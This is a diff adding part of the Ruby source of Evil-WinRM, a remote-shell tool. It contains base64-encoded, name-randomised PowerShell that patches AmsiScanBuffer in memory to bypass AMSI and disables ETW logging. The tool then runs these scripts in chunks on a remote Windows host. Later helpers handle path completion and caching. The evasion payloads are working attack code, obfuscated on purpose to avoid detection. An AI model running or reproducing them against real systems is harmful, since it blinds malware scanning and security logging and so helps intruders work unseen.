+    menu_template = 'ZnVuY3Rpb24gPj48RlVOQ1RJT04yPj48IHsKICAgIGxzIGZ1bmN0aW9uOiB8IFdoZXJlLU9iamVjdCB7CiAgICAgICAgJF8ubmFtZSAtbm90bWF0Y2ggIl4oP2kpIisiKD4+PEZVTkNUSU9ONT4+PHxDb252ZXJ0RnJvbS1TZGRsU3RyaW5nfEdldC1WZXJifEltcG9ydFN5c3RlbU1vZHVsZXN8aGVscHxjZHxvc3MpIiAtYW5kCiAgICAgICAgKCRfLm5hbWUpLkxlbmd0aCAtZ2UgIjQiCiAgICB9Cn0KCmZ1bmN0aW9uID4+PEZVTkNUSU9OND4+PCB7CiAgICA+PjxGVU5DVElPTjI+PjwgfCBXaGVyZS1PYmplY3QgewogICAgICAgICRfLm5hbWUgLW5vdG1hdGNoICJeKD9pKSIrIihDbGVhci1Ib3N0fEZvcm1hdC1IZXh8R2V0LUZpbGVIYXNofG1rZGlyfFRhYkV4cGFuc2lvbjJ8Pj48RlVOQ1RJT04xPj48KSIKICAgIH0KfQoKZnVuY3Rpb24gPj48RlVOQ1RJT04zPj48IHsKICAgID4+PEZVTkNUSU9OND4+PCB8IFdoZXJlLU9iamVjdCB7IAogICAgICAgICRfLm5hbWUgLW5vdG1hdGNoICJeKD9pKSIrIihtb3JlfE5ldy1HdWlkfE5ldy1UZW1wb3JhcnlGaWxlfD4+PEZVTkNUSU9OMj4+PHw+PjxGVU5DVElPTjM+PjwpIgogICAgfQp9CgpmdW5jdGlvbiA+PjxGVU5DVElPTjU+PjwgewogICAgPj48RlVOQ1RJT04zPj48IHwgV2hlcmUtT2JqZWN0IHsgCiAgICAgICAgJF8ubmFtZSAtbm90bWF0Y2ggIl4oP2kpIisiKD4+PEZVTkNUSU9ONj4+PHxJbXBvcnQtUG93ZXJTaGVsbERhdGFGaWxlfE1haW58UGF1c2V8cHJvbXB0fD4+PEZVTkNUSU9OND4+PCkiCiAgICB9Cn0KCmZ1bmN0aW9uID4+PEZVTkNUSU9ONj4+PCB7CiAgICA+PjxGVU5DVElPTjU+PjwgfCBTZWxlY3QtT2JqZWN0IC1Qcm9wZXJ0eSBOYW1lIHwgRm9yRWFjaC1PYmplY3QgewogICAgICAgICIkKCRfLk5hbWUpIgogICAgfQp9CgpmdW5jdGlvbiA+PjxGVU5DVElPTjE+PjwgewoKICAgICRnbG9iYWw6c2hvd21ldGhvZHMKfQo='
+    result = Base64.decode64(menu_template)
+    show_methods_loaded = "Get-#{random_string((5..15).to_a.sample)}"
+    menu_function_name = "Get-#{random_string((4..17).to_a.sample)}"
+    random_func1 = "Get-#{random_string((7..17).to_a.sample)}"
+    random_func2 = "Get-#{random_string((7..17).to_a.sample)}"
+    random_func3 = "Get-#{random_string((7..17).to_a.sample)}"
+    random_func4 = "Get-#{random_string((7..17).to_a.sample)}"
+    result = replace_func_var_name(result, "FUNCTION1", show_methods_loaded)
+    result = replace_func_var_name(result, "FUNCTION2", random_func1)
+    result = replace_func_var_name(result, "FUNCTION3", random_func2)
+    result = replace_func_var_name(result, "FUNCTION4", random_func3)
+    result = replace_func_var_name(result, "FUNCTION5", random_func4)
+    result = replace_func_var_name(result, "FUNCTION6", menu_function_name)
+    result = replace_with_string_scan(result)
+    result = rand_casing_keywords(result)
+    $SHOW_GLOBAL_METHODS_CMD = show_methods_loaded
+    $MENU_CMD = menu_function_name
+    result
+  end
+
+  def get_Bypass_4MSI
+    bypass_template = 'ZnVuY3Rpb24gPj48RlVOQ1RJT04xPj48IHsKICAgIFBhcmFtICg+PjxWQVIxPj48LCA+PjxWQVIyPj48KQogICAgPj48VkFSMz4+PCA9IChbQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbi5HZXRBc3NlbWJsaWVzKCkgfAogICAgV2hlcmUtT2JqZWN0IHsgCiAgICAgICAgJF8uR2xvYmFsQXNzZW1ibHlDYWNoZSAtQW5kICRfLkxvY2F0aW9uLlNwbGl0KCIiKzw+PFw8PjwrIiIpWy0xXS5FcXVhbHMoIiIrPD48U3lzdGVtLmRsbDw+PCsiIikKICAgICB9KS5HZXRUeXBlKCJNaWNyb3NvZnQuIis8PjxXaW4zMi5Vbjw+PCsic2FmZU5hdGl2ZU1ldGhvZHMiKQogICAgPj48VkFSND4+PD1AKCkKICAgID4+PFZBUjM+PjwuR2V0TWV0aG9kcygpIHwgRm9yRWFjaC1PYmplY3QgewogICAgICAgIElmKCRfLk5hbWUgLWxpa2UgIkdlKlAqb2MqIis8PjxkZHJlczw+PCsicyIpIHsKICAgICAgICAgICAgPj48VkFSND4+PCs9JF8KICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gPj48VkFSND4+PFswXS5JbnZva2UoJG51bGwsIEAoKD4+PFZBUjM+PjwuR2V0TWV0aG9kKCIiKzw+PEdldE08PjwrIm9kdWwiKzw+PGVIYW48PjwrImRsZSIpKS5JbnZva2UoJG51bGwsIEAoPj48VkFSMT4+PCkpLCA+PjxWQVIyPj48KSkKfQojanVtcAoKZnVuY3Rpb24gPj48RlVOQ1RJT04yPj48IHsKICAgIFBhcmFtICgKICAgICBbUGFyYW1ldGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJFRydWUpXSBbVHlwZVtdXSA+PjxWQVI1Pj48LCBbUGFyYW1ldGVyKFBvc2l0aW9uID0gMSldIFtUeXBlXSA+PjxWQVI2Pj48ID0gW1ZvaWRdCiAgICApCiAgICA+PjxWQVIxMj4+PCA9IFtBcHBEb21haW5dOjpDdXJyZW50RG9tYWluLkRlZmluZUR5bmFtaWNBc3NlbWJseSgKICAgICAgICAoTmV3LU9iamVjdCBTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseU5hbWUoIiIrPD48UmVmPD48KyJsZWMiKzw+PHRlZERlPD48KyJsZWdhdGUiKSksCiAgICAgICAgW1N5c3RlbS5SZWZsZWN0aW9uLkVtaXQuQXNzZW1ibHlCdWlsZGVyQWNjZXNzXTo6UnVuCiAgICApLkRlZmluZUR5bmFtaWNNb2R1bGUoCiAgICAgICAgIiIrPD48SW5NPD48KyJlbW8iKzw+PHJ5PD48KyJNb2R1bGUiLAogICAgICAgICRmYWxzZQogICAgKS5EZWZpbmVUeXBlKAogICAgICAgICQoIiIrPD48TXlEZWxlZ2F0ZVR5cGU8PjwrIiIpLAogICAgICAgICJDbGFzcywgUHVibGljLCBTZWFsZWQsIEFuc2lDbGFzcywgQXV0b0NsYXNzIiwKICAgICAgICBbU3lzdGVtLk11bHRpY2FzdERlbGVnYXRlXQogICAgKQoKICAgID4+PFZBUjEyPj48LkRlZmluZUNvbnN0cnVjdG9yKAogICAgICAgICJSVFNwZWNpYWxOYW1lLCBIaWRlQnlTaWcsIFB1YmxpYyIsCiAgICAgICAgW1N5c3RlbS5SZWZsZWN0aW9uLkNhbGxpbmdDb252ZW50aW9uc106OlN0YW5kYXJkLCA+PjxWQVI1Pj48CiAgICApLlNldEltcGxlbWVudGF0aW9uRmxhZ3MoIlJ1bnRpbWUsIE1hbmFnZWQiKQoKICAgID4+PFZBUjEyPj48LkRlZmluZU1ldGhvZCgKICAgICAgICAiSW52b2tlIiwKICAgICAgICAiUHVibGljLCBIaWRlQnlTaWcsIE5ld1Nsb3QsIFZpcnR1YWwiLAogICAgICAgID4+PFZBUjY+PjwsCiAgICAgICAgPj48VkFSNT4+PAogICAgKS5TZXRJbXBsZW1lbnRhdGlvbkZsYWdzKCJSdW50aW1lLCBNYW5hZ2VkIikKICAgIAogICAgcmV0dXJuID4+PFZBUjEyPj48LkNyZWF0ZVR5cGUoKQp9CiNqdW1wCltJbnRQdHJdPj48VkFSNz4+PCA9ID4+PEZVTkNUSU9OMT4+PCAkKCIiKzw+PGFtc2kuZGxsPD48KyIiKSAkKCIiKzw+PEFtc2lTY2FuQnVmZmVyPD48KyIiKQojanVtcAo+PjxWQVI4Pj48ID0gMAojanVtcAo+PjxWQVI5Pj48PVtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKAogICAgKD4+PEZVTkNUSU9OMT4+PCAkKCIiKzw+PGtlcm5lbDMyLmRsbDw+PCsiIikgVmlydHVhbFByb3RlY3QpLCAKICAgICg+PjxGVU5DVElPTjI+PjwgQChbSW50UHRyXSwgW1VJbnQzMl0sIFtVSW50MzJdLCBbVUludDMyXS5NYWtlQnlSZWZUeXBlKCkpIChbQm9vbF0pKQopCiNqdW1wCj4+PFZBUjEwPj48ID0gPj48VkFSOT4+PC5JbnZva2UoPj48VkFSNz4+PCwgMywgMHg0MCwgW3JlZl0+PjxWQVI4Pj48KQojanVtcAo+PjxWQVIxMT4+PCA9IFtCeXRlW11dICgweGI4LDB4MzQsMHgxMiwweDA3LDB4ODAsMHg2NiwweGI4LDB4MzIsMHgwMCwweGIwLDB4NTcsMHhjMykKI2p1bXAKPj48VkFSMTA+PjwgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpDb3B5KD4+PFZBUjExPj48LCAwLCA+PjxWQVI3Pj48LCAxMikKI2p1bXAKUmVtb3ZlLUl0ZW0gRnVuY3Rpb246Pj48RlVOQ1RJT04yPj48CiNqdW1wClJlbW92ZS1JdGVtIEZ1bmN0aW9uOj4+PEZVTkNUSU9OMT4+PA=='
+
+    result = Base64.decode64(bypass_template)
+
+    for i in 1..2
+      func_name = "Get-#{random_string((7..17).to_a.sample)}"
+      result = replace_func_var_name(result, "FUNCTION#{i}", func_name)
+    end
+
+    for i in 1..12
+      var_name = "$#{random_string((7..17).to_a.sample)}"
+      result = replace_func_var_name(result, "VAR#{i}", var_name)
+    end
+
+    result = replace_with_string_scan(result)
+    result = rand_casing_keywords(result)
+    result
+  end
+
+  def wait_for(time_to_wait)
+    thread = Thread.new do
+        sleep(time_to_wait)
+    end
+    thread.join
+  end
+
+  def load_powershell(shell, powershell_script, sleep_for = 2)
+    outputs = []
+    num_jumps = powershell_script.scan(/#jump/).size + 1
+    current_jump = 1
+    if num_jumps > 1
+      powershell_script.split('#jump').each do |item|
+        progress_bar(current_jump, num_jumps)
+        output = shell.run(item)
+        if !output.output.nil? && !output.output.empty? && !output.output.chomp.empty?
+          outputs << output.output
+        end
+        current_jump += 1
+        wait_for(sleep_for)
+      end
+    else
+      output = shell.run(powershell_script).output
+      if !output.nil? && !output.empty?
+        outputs << output
+      end
+    end
+    outputs
+  end
+
+  def load_Bypass_4MSI(shell)
+    bypass = get_Bypass_4MSI
+    print_message('Patching 4MSI, please be patient...', TYPE_INFO, true)
+    outputs = load_powershell(shell, bypass, 2)
+    if outputs.empty?
+      print_message('[+] Success!', TYPE_SUCCESS, false)
+    else
+      puts(outputs.join("\n"))
+    end
+  end
+
+  def load_ETW_patch(shell)
+    print_message('Patching ETW, please be patient ..', TYPE_INFO, true)
+    patch_template = 'W1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkV2l0aFBhcnRpYWxOYW1lKCIiKzw+PFN5c3RlbS5Db3JlPD48KyIiKS5HZXRUeXBlKCJTeXMiKzw+PHRlbS5EaWFnPD48KyJub3N0aWNzLkUiKzw+PHZlbnRpbmcuRXZlbnQ8PjwrIlByb3ZpZGVyIikuR2V0RmllbGQoIiIrPD48bV88PjwrImVuYWJsZWQiLCJOb25QdWJsaWMsSW5zdGFuY2UiKS5TZXRWYWx1ZShbUmVmXS5Bc3NlbWJseS5HZXRUeXBlKCJTeXMiKzw+PHRlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uVHJhY2luZy5QU0V0dzw+PCsiTG9nIis8PjxQcm92aWRlcjw+PCsiIikuR2V0RmllbGQoIiIrPD48ZXR3UHJvdmlkZXI8PjwrIiIsIk5vblB1YmxpYyxTdGF0aWMiKS5HZXRWYWx1ZSg+PjxWQVIxPj48KSwwKQ=='
+    result = Base64.decode64(patch_template)
+    result = replace_func_var_name(result, "VAR1", "$#{random_string((7..17).to_a.sample)}")
+    result = replace_with_string_scan(result)
+    result = rand_casing_keywords(result)
+    outputs = load_powershell(shell, result)
+    if outputs.empty?
+      print_message('[+] Success!', TYPE_SUCCESS, false)
+    else
+      puts("Error #{outputs.join("\n")}")
+    end
+  end
+
+  def extract_filename(path)
+    path = path || ""
+    path = path.gsub("\\", '/')
+    path.split('/')[-1]
+  end
+
+  def get_paths_from_command(command, pwd)
+    parts = Shellwords.shellsplit(command)
+    parts.delete_at(0)
+    return parts
+  end
+
+  def get_from_cache(n_path)
+    return if n_path.nil? || n_path.empty?
+
+    a_path = normalize_path(n_path)
+    current_time = Time.now.to_i
+    current_vals = @directories[a_path]
+    result = []
+    unless current_vals.nil?
+      is_valid = current_vals['time'] > current_time - @cache_ttl
+      result = current_vals['files'] if is_valid
+      @directories.delete(a_path) unless is_valid
+    end
+
+    result
+  end
+
+  def set_cache(n_path, paths)
+    return if n_path.nil? || n_path.empty?
+
+    a_path = normalize_path(n_path)
+    current_time = Time.now.to_i
+    @directories[a_path] = { 'time' => current_time, 'files' => paths }
+  end
+
+  def normalize_path(str)
+    Regexp.escape(str.to_s.gsub('\\', '/'))
+  end
+
+  def get_dir_parts(n_path)
+    return [n_path, ''] unless (n_path[-1] =~ %r{/$}).nil?
+
+    i_last = n_path.rindex('/')
+    return ['./', n_path] if i_last.nil?
+
+    next_i = i_last + 1
+    amount = n_path.length - next_i
+
+    [n_path[0, i_last + 1], n_path[next_i, amount]]
+  end
+
+  def complete_path(str, shell)
+    return unless @completion_enabled
+    return unless !str.empty? && !(str =~ %r{^(\./|[a-z,A-Z]:|\.\./|~/|/)*}i).nil?
+
+    n_path = str
+    parts = get_dir_parts(n_path)
+    dir_p = parts[0]
+    nam_p = parts[1]
+    result = []
+    result = get_from_cache(dir_p) unless dir_p =~ %r{^(\./|\.\./|~|/)}
+
+    if result.nil? || result.empty?
+      target_dir = dir_p
+      pscmd = "$a=@();$(ls '#{target_dir}*' -ErrorAction SilentlyContinue -Force |Foreach-Object {  if((Get-Item $_.FullName -ErrorAction SilentlyContinue) -is [System.IO.DirectoryInfo] ){ $a +=  \"$($_.FullName.Replace('\\','/'))/\"}else{  $a += \"$($_.FullName.Replace('\\', '/'))\" } });$a += \"$($(Resolve-Path -Path '#{target_dir}').Path.Replace('\\','/'))\";$a"
+
+      output = shell.run(pscmd).output
+      s = output.to_s.gsub(/\r/, '').split(/\n/)
+
+      dir_p = s.pop
+      set_cache(dir_p, s)
+      result = s
+    end
+    dir_p += '/' unless dir_p[-1] == '/'
+    path_grep = normalize_path(dir_p + nam_p)
+    path_grep = path_grep.chop if !path_grep.empty? && path_grep[0] == '"'
+    filtered = result.grep(/^#{path_grep}/i)
+    filtered.collect { |x| "\"#{x}\"" }
+  end
+end
+
+# Class to create array (tokenize) from a string
+class String
+  def tokenize
+    split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/)
+      .reject(&:empty?)
+      .map { |s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/, '') }
+  end
+end
+
+# Execution
+e = EvilWinRM.new
+e.main